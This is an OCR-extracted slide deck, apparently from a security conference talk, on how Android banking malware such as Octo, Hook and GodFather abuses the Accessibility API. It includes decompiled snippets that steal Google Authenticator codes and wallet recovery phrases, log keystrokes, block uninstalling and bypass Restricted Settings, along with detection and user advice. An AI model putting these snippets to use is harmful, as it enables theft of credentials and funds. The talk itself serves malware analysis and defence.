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@ Introduction on Accessibility
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“Accessibility is the quality of being able to be
entered or used by everyone, including people who
have a disability”

— Cambridge Dictionary
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Accessibility on Android
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The AccessibilityService API

“An accessibility service is an app that enhances the user
interface to assist users with disabilities or who might
temporarily be unable to fully interact with a device”

i Developers  Coentols +  DesinSPn < Dewelop v GeoglePlay  Communiy Q @ Ean - araia sude Sinin

* Developer Guides

©

https://developer.android.com/reference/android/accessibilityservice/AccessibilityService
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https://developer.android.com/reference/android/accessibilityservice/AccessibilityService

What can you do with an Accessibility Service?

Act on behalf of user:

m Click
Swipe
Scroll
Gestures

[
[

[

m Navigate menus
m Launch an app
[

Enter text

Receive events:
m Window updates
m Buttons clicked

m Windows focus

Handle display:

m Read, show, hide
tooltips or hints

m Draw windows on
top of other ones
(overlay)
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Abusing Accessibility

2017 —

2020 —

Nov 2021 —{

Dec 2023 —
v

Cloak and Dagger attack: clickjacking
with overlays, keystroke recordings demo

Abusing Accessibility is extremely fre-
quent in Android malware.

Permission Declaration Form to use the
AccessibilityService APl in Google Play.

Restricted Settings in Android 13+
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@® Demo of Android/Octo
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Demo: Android/Octo in action

m Banking Trojan family of 2022

m Poses as a Chrome browser

March 26 April 4 April 5 (+10 days)
Discovery and Record demo, C2 C2 no longer
detection still active reachable
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Asking end-user for Accessibility

Play Store
In order for the latest version of Play Store to work, you wil

td

In order for the latest version of Play
Store to work, you will need to enable
accessibility. Please follow the steps

~N 7
@@ below:

Step 1- Go to “Settings”
Step 2 - Open "Accessibility”

Step 3 - Open “Installed Services”

Step 4 - Turn “Play Store” on

e

Android/BianLian (July 2023)
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Asking end-user for Accessibility

B Google Calendar *an

Please ENABLE!
Please ENABLE!

)

Google Calendar

@@ Update your Google Calendar.

Click the "Continue" button and
follow the installation steps.
1 Open settings
2 In Accessibility, open the
"Downloaded Services" or "Installed

Services" section.

3 Activate the "Google Calendar"
option.

Android/Cerberus (January 2024)

e
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Asking end-user for Accessibility

« Find 'Chrome'

Open Settings

L — ]
Android/Octo (March 2024)
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Asking end-user for Accessibility

436 & @ 4l

BTC Miner Pro

< Accessibility Service

DOWNLOADED SERVICES

Switch Access

TalkBack /

Start Accessibility

>>

Android/Ermac (April 4, 2024)
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©® How malware implement it
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Using the AccessibilityService API

@ Implement a class that extends AccessibilityService

package com.beginhighl9;

public class p023w extends _ {

.

® Add BIND_ACCESSIBILITY_SERVICE to the manifest

©® Add meta data to configure the accessibility service
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Add permission to the manifest

@ Implement a class that extends AccessibilityService
® Add BIND_ACCESSIBILITY_SERVICE to the manifest

<service android:enabled="true"
android:exported="false"
android:label="@string/a"
android:name="com.beginhigh19.p023w"

< android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action
— android:name=”android.accessibilityservice.AccessibilityService”/>
</intent-filter>

© Add meta data to configure the accessibility service
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Configure meta data

@ Implement a class that extends AccessibilityService
® Add BIND_ACCESSIBILITY_SERVICE to the manifest

©® Add meta data to configure the accessibility service

<meta-data
android:name="android.accessibilityservice"
android:resource="0@xml/ftihautj"/>

Meta data file is ftihautj.xml.

<?xml version="1.0" encoding="UTF-8"2>

<accessibility-service

android:accessibilityEventTypes="0xffffffff"
android:accessibilityFeedbackType="feedbackGeneric"
android:accessibilityFlags="flagDefault|flagIncludeNotImportantViews |
android:canRetrieveWindowContent="true"
android:description="@string/zQnYjeFalrPaUl"
xmlns:android="http://schemas.android.com/apk/res/android"/>

rrergds

typeAllMask = Oxffffffff
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3 important classes

@ AccessibilityService.

» Runs in background.

» When an event is fired, calls
onAccessibilityEvent (). Event
provided as argument.

> Call getRootInActiveWindow() to
get root AccessibilityNodeInfo.

® AccessibilityEvent.
©® AccessibilityNodelnfo.

/
J

(e

i. .
-

|
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Accessibility Events

public void onAccessibilityEvent(AccessibilityEvent event) {

String packagename = event.getPackagelName() == null ? null :

— event.getPackageName () .toString();
if (event.getEventType() == CONTENT_CHANGE_TYPE_PANE_DISAPPEARED){
}

}

Android/BianLian botnet sample
m Event type, e.g. TYPE VIEW_CLICKED, TYPE_VIEW_FOCUSED...

m Package name of the source: getPackageName ()
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Source of events

if (accessibilityEvent0.getClassName ()
.equals("com.android.phone.settings.SimPickerPreference")) {
if (accessibilityEvent0.getSource() == null) {

return false;
}
¥

m getClassName(): class name of the source,
m getSource(): source node (AccessibilityNodeInfo),

m Service meta-data canRetrieveWindowContent is necessary
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AccessibilityNodelnfo

while(v < node.getChildCount()) {
AccessibilityNodeInfo node2 =
— fddo.goto(accessibilityNodeInfo0.getChild(v), s, 2z);
if (node2 '= null) {
return node2;

}

++v;

Searching for text in all children - Android/Octo
m A window content is seen as a tree of nodes (button, areas
etc)
m Parse the tree: getChild(), getRootInActiveWindow()

m Search the tree: findAccessibilityNodeInfosByText(),
findAccessibilityNodeInfosByViewId ()
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Reading the screen

Google Authenticator

PayPal fake

=" 170 210

57,100,50,97,97,97,101,55,49,55,54,51,51,53,97,54, 55, 9¢

AccessibilityNodeInfo node = searchNode(this.this(), "pin_value");
if (node != null && node.getText() != null) {
postJson(this.context, "GOOGLE_AUTH: auth code " +

— accessibilityNodeInfoO.getText().toString());
}

Function names deobfuscated for clarity - Android/Octo

Stealing the Google Authenticator 2FA pin
m Read text with node.getText ()

m Perform ACTION_SET_TEXT action on a node to edit it
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Clicking on a node, scrolling...

if(s.equals("scroll")) {

this.static(sl);
¥

private void static(String s) {
accessibilityNodeInfoO.performAction((sl.equals("forward") ? 0x1000

— : 0x2000));
}

m ACTION_CLICK: 0x10

m ACTION_SCROLL_FORWARD: 0x1000

m ACTION_SCROLL_BACKWARD: 0x2000

m performAction(), performGlobalAction()
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Android /Hook: Swipping up with a gestures

(X y— helgh )

(xy)

zikime0.dispatchGesture(b.f(x, y, x, ((int)(((double)y) -
< ((double)displayMetricsO.heightPixels) / 3.0)), 300), null, null);

m GestureDescription

m dispatchGesture()
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Android /GodFather: Complex gestures

(X1, }/1)

(Xz, Y2)

private static GestureDescription m071e58fa7bb(int x1, int yi1, int x2,
< int y2, int duration) {
Path swipePath = new Path();
swipePath.moveTo (((float)Math.max(x1, 0)),
((float)Math.max(y1l, 0)));
swipePath.lineTo(((float)Math.max(x2, 0)),
((float)Math.max(y2, 0)));
GestureDescription.StrokeDescription d = new
< GestureDescription.StrokeDescription(swipePath, OL,
< ((long)duration));
GestureDescription.Builder swipeBuilder = new
— GestureDescription.Builder();
swipeBuilder.addStroke(d) ;
return swipeBuilder.build();
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Android /Hook: Grabbing the recovery phrase of a Crypto

Wallet

if (node !'= null) {

List 1list14 = node.findAccessibilityNodeInfosByViewId(

"com.wallet.crypto.trustapp:id/phrase") ;
if(list14 != null) {

int children_nb = firstElem.getChildCount();
if(children_nb > 0) {
child_index = 0;

<
number = childNode.getChild(0).getText();
word = childNode.getChild(1).getText();
}
Malicious code edited for clarity

{ Back

Your recovery phrase

Write down or copy these words in the
right order and save them somewhere
safe.

canyon 2crew 3royal 4 dragon
layer Gdrive 7erosion 8 slot
sustain 10 december 11 apology

home

Copy

Never share recovery phrase with anyone,
store it securely!

lIIIIIIIIIIHHI#IHHEIIIIIIIIIII

Corresponding application
interface (target)
Image from TrustWallet doc
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https://community.trustwallet.com/t/how-to-create-a-multi-coin-wallet/41

Android /GodFather: keylogging

switch(event.getEventType()) {
case 16: {
String s5b = event.getText().toString();
this.fdc1d71bb = this.fdc1d71bb +
— event.getPackageName() .toString() + s2 + "[(TEXT)I" + s5 + "||[|";
<

return;

}

TYPE_VIEW_TEXT_CHANGED event occurs when user changes an
EditText
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Android/Octo: prevent Device Admin removal

public CharSequence onDisableRequested(Context contextO, Intent
— intent0) {
// AccessibilityService instance
p023w service = p023w.instance;
if (p023w0 != null) {
// Go back = move out of the window!
// Function name de-obfuscated for clarity ;-)
p023w0.new.go_back();
}

// scary message
return "Do you want to wipe all data?";

Inside Device Admin Settings?

Display scary message
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O Restricted Settings
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Restricted Settings

m Introduced in Android 13 in December
2023

m Third party apps can't access
Accessibility / Downloaded apps

&

Restricted setting

For your security, this setting is currently
unavailable.

Learn more 0K

m Restricted Settings can be allowed, to
recover access to the Accessibility /
Downloaded apps menu.
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Restricted Settings

m Introduced in Android 13 in December
2023

m Third party apps can't access
Accessibility / Downloaded apps

&

Restricted setting

For your security, this setting is currently
unavailable.

Learn more 0K

m Restricted Settings can be allowed, to
recover access to the Accessibility /
Downloaded apps menu.

» Malware can ask user to do it...
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Restricted Settings

m Introduced in Android 13 in December
2023
m Third party apps can't access
Accessibility / Downloaded apps
» adb install allowed to Restricted
Settings

&

Restricted setting

For your security, this setting is currently
unavailable.

Learn more 0K

m Restricted Settings can be allowed, to
recover access to the Accessibility /
Downloaded apps menu.

» Malware can ask user to do it...
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Restricted Settings

m Introduced in Android 13 in December
2023
m Third party apps can't access
Accessibility / Downloaded apps
» adb install allowed to Restricted

&

Settings
Restricted setting » Google Play apps allowed to
For your mn:;‘u:mb‘éu g is currently Restricted Settings

Learn more 0K

m Restricted Settings can be allowed, to
recover access to the Accessibility /
Downloaded apps menu.

» Malware can ask user to do it...
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Restricted Settings

m Introduced in Android 13 in December
2023

m Third party apps can't access
Accessibility / Downloaded apps

a » adb install allowed to Restricted
Settings
Restricted setting > Google Play apps allowed to
Foryoursecuri. e setting s currentl Restricted Settings
» Any marketstore using a
Lear more oK session-based installer is allowed to

Restricted Settings

m Restricted Settings can be allowed, to
recover access to the Accessibility /
Downloaded apps menu.

» Malware can ask user to do it...
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Android /SecuriDropper

rvmvzweybuvrxmfktogvdmocowrmpk5.mPackageInstaller =
— context0.getPackageManager () .getPackageInstaller();

Packagelnstaller.SessionParams sessionParams = new

— PackageInstaller.SessionParams(1);
packageInstaller$SessionParams0O.setInstalllocation(0);
if (Build.VERSION.SDK_INT >= 26) {

packageInstaller$SessionParams0O.setInstallReason(4);

}

int v =

— rvmvzweybuvrxmfktogvdmocowrmpk5.mPackagelnstaller.createSession(sessionPar
packageInstaller$Session0 =

— rvmvzweybuvrxmfktogvdmocowrmpk5.mPackageInstaller.openSession(v);
inputStream0 = context0O.getAssets().open("childapp.apk");

m It allows Restricted Settings

m User still needs to enable Accessibility
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® Conclusion and Solutions
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Implementation issues for malware authors

if(s.equals("com.teamviewer.host.market")) {

AccessibilityNodeInfo node =
— injAccessibilityService0.findAndGetFirstSimilar(n0,
«s "android:id/buttonl", true);

if(node != null &&
< (node.getText().toString().toLowerCase().contains(this.context ()
.getResources() .getString (0x7F070025) . toLowerCase()))) {
injAccessibilityService0.performClick(node, "");

m Need to know layout of targeted app
m If layout or name changes, malware no longer works

m Maintenance!
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Bad Good Solutions

m Restricting access to layout of other apps
m ASLR for layout: randomize component names

m Permission request on use
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Bad Good Solutions

m Restricting access to layout of other apps
m ASLR for layout: randomize component names

m Permission request on use

All of these would substantially block people with disabilities!
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Detecting abuses for Malware Analyst

DroidLysis detects Accessibility abuses:

Smali properties / What the Dalvik code does
abort_broadcast : True

ccesslpl 1ty_SEI"V1C: rue

Malware perform actions + access to Play Protect and Mi Security:

manufacturer : True
1Securl : True

1 True
non : True
bertorm_action i True
blay protect : True

Gestures:
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Detecting abuses for End Users

W BTC Miner Pro *an

BTC Miner Pro
Enable BTC Miner Pro

off

DOWNLOADED SERVICES

B ‘1 BTC Miner Pro

= off

SCREEN READERS

Text-to-speech output

m A legit application usually does not
put pressure on you to do something
(sound, repeated notification, scary
i message)

DISPLAY

Font size
Default

Dark theme

@ Magnification
off

< L] ]
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Detecting abuses for End Users

04 W0 @ A\ 7 |

< BTC Miner Pro
a :
=

@ No description provided

Enable BTC Miner Pro

m A legit application usually does not
put pressure on you to do something
(sound, repeated notification, scary
message)
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Detecting abuses for End Users

Allow BTC Miner Pro to have full
control of your device?

Full control is appropriate for apps that help
you with accessibility needs, but not for
most apps.

© _View and control screen

It can read all content on the screen and
display content over other apps.

m A legit application usually does not
¥_View and perform actions .
|:5::;;1221‘;3;1;?2’:;\‘&2;@1‘;:a:ﬁz;;,, put pressure on you to do something
our behalf . .
- (sound, repeated notification, scary
Alow message)

m Why would BTC Miner Pro need to
control your screen? interact on your
behalf?

Simple rule: If you have no disabilities, never enable Accessibility
for any application
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Test: Allow or Deny?

B

Allow Google Calendar to have full
control of your device?

Full control is appropriate for apps that help
you with accessibility needs, but not for
most apps.

© View and control screen
It can read all content on the screen and
display content over other apps

¥ View and perform actions
It can track your interactions with an app or
a hardware sensor, and interact with apps on
your behalf
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Conclusion: Beware malware traps!

At least | this malware author

has toste _
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Thanks for your attention!

m Qcryptax (X, Mastodon.social)
m E-mail: aapvrille (at) fortinet (dot) com

m PhOwn, onsite CTF, French riviera.
Save the Date: November 29-30, 2024
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Bonus

Filo Edit Navigation Action Android Native Debugger

cEsere @l

[sharefocto-marchz024.apk - JEB Pro
Window Help.

oo @ ® * . v

. Project Explorer
~ & octo-march2024.apK
~ @ octo-march2024.a(
~ & com.beginhigh1

B

= Certificate
& Certificate #2

» % Bytecode

» & Resources

a

Flter: type "Ente.

4 Bytecode/Hierarchy x

~ & beginhigh19
» ©p016)
» ©p023w
» @po25i
» @po25n
» ©p025p
» @po27d
» @p0320
» ©po36n
» ©p0360
» ©p0ali
» @ poa2w
» ©p0a3q
» ©poadi
» ©p0aTt
» ©p0a9p

a

er: type "Ent

% @0 Ge

# Bytecode/Disassembly x| [ p023wiSource x

0000003E
00000042

const-s:
invoke-:

void const() {

148 return;
00000048 return-
.end method

if(!p623w.fddo("com.google.android.apps.authenticator2")) {

AccessibilityNodeInfo accessibilityNodeInfo® = fddo.else(this.this(), "pin_value");

.method private si
regist:

00000000 invoke-'

00000006 move- re:

00000008 const-s’

0000000C  const-s’ if(accessibilityNodeInfol
00000010  const-s’

00000014  const-s’

00000018 const-s- }

0000001C  if-eqz

00000020 sget-ob public static String else(String s) {
00000024  invoke-: if(s.isEmpty()) {

00000024 move- re: urn "

0000002C  invoke-'

00000032 move-re:

00000034 if-eqz String 1 = s renlacal"l". " ).

Disassembly|Graph »: Description Source

© Logger & Terminal + Quick Search il References| i Type Hierarchy =1 Overrides,

[I] Method Lcom/beginhigh19/p054v; ->goto(Landroid/content/Context;)Z:
[I] Method Lcom/beginhigh19/p@54v;->goto(Landroid/content/Context;)Z:
[I] Method Lcom/beginhighl9/pe54v; ->else(Landroid/content/Context;)Z: c
[I] Method Lcom/beginhighl9/pea4i;-><clinit>()V: Decrypted string: ">>SendScreenshotSrv"

| adar: Lcom/beginhigh19/p023w;->const()V | loc: 7

if (accessibilityNodeInfod '= null & accessibilityNodeInfo.getText () {
goto.g(this. fddo, "GOOGLE AUTH: auth code " + accessibilityNodeInfod.getText().toSt!

!= null)

AccessibilityNodeInfo accessibilityNodeInfol = fddo.goto(this.this(), “current_user”, ti
null & accessibilityNodeInfol.getText ()
goto.g(this. fddo, "GOOGLE_AUTH: current user " + accessibilityNodeInfol.getText().tc

= null) {

Decrypted string: "acsb task” Lovei (NP0 -
Decrypted strin
Decrypted string: "chrome”

2m17.76
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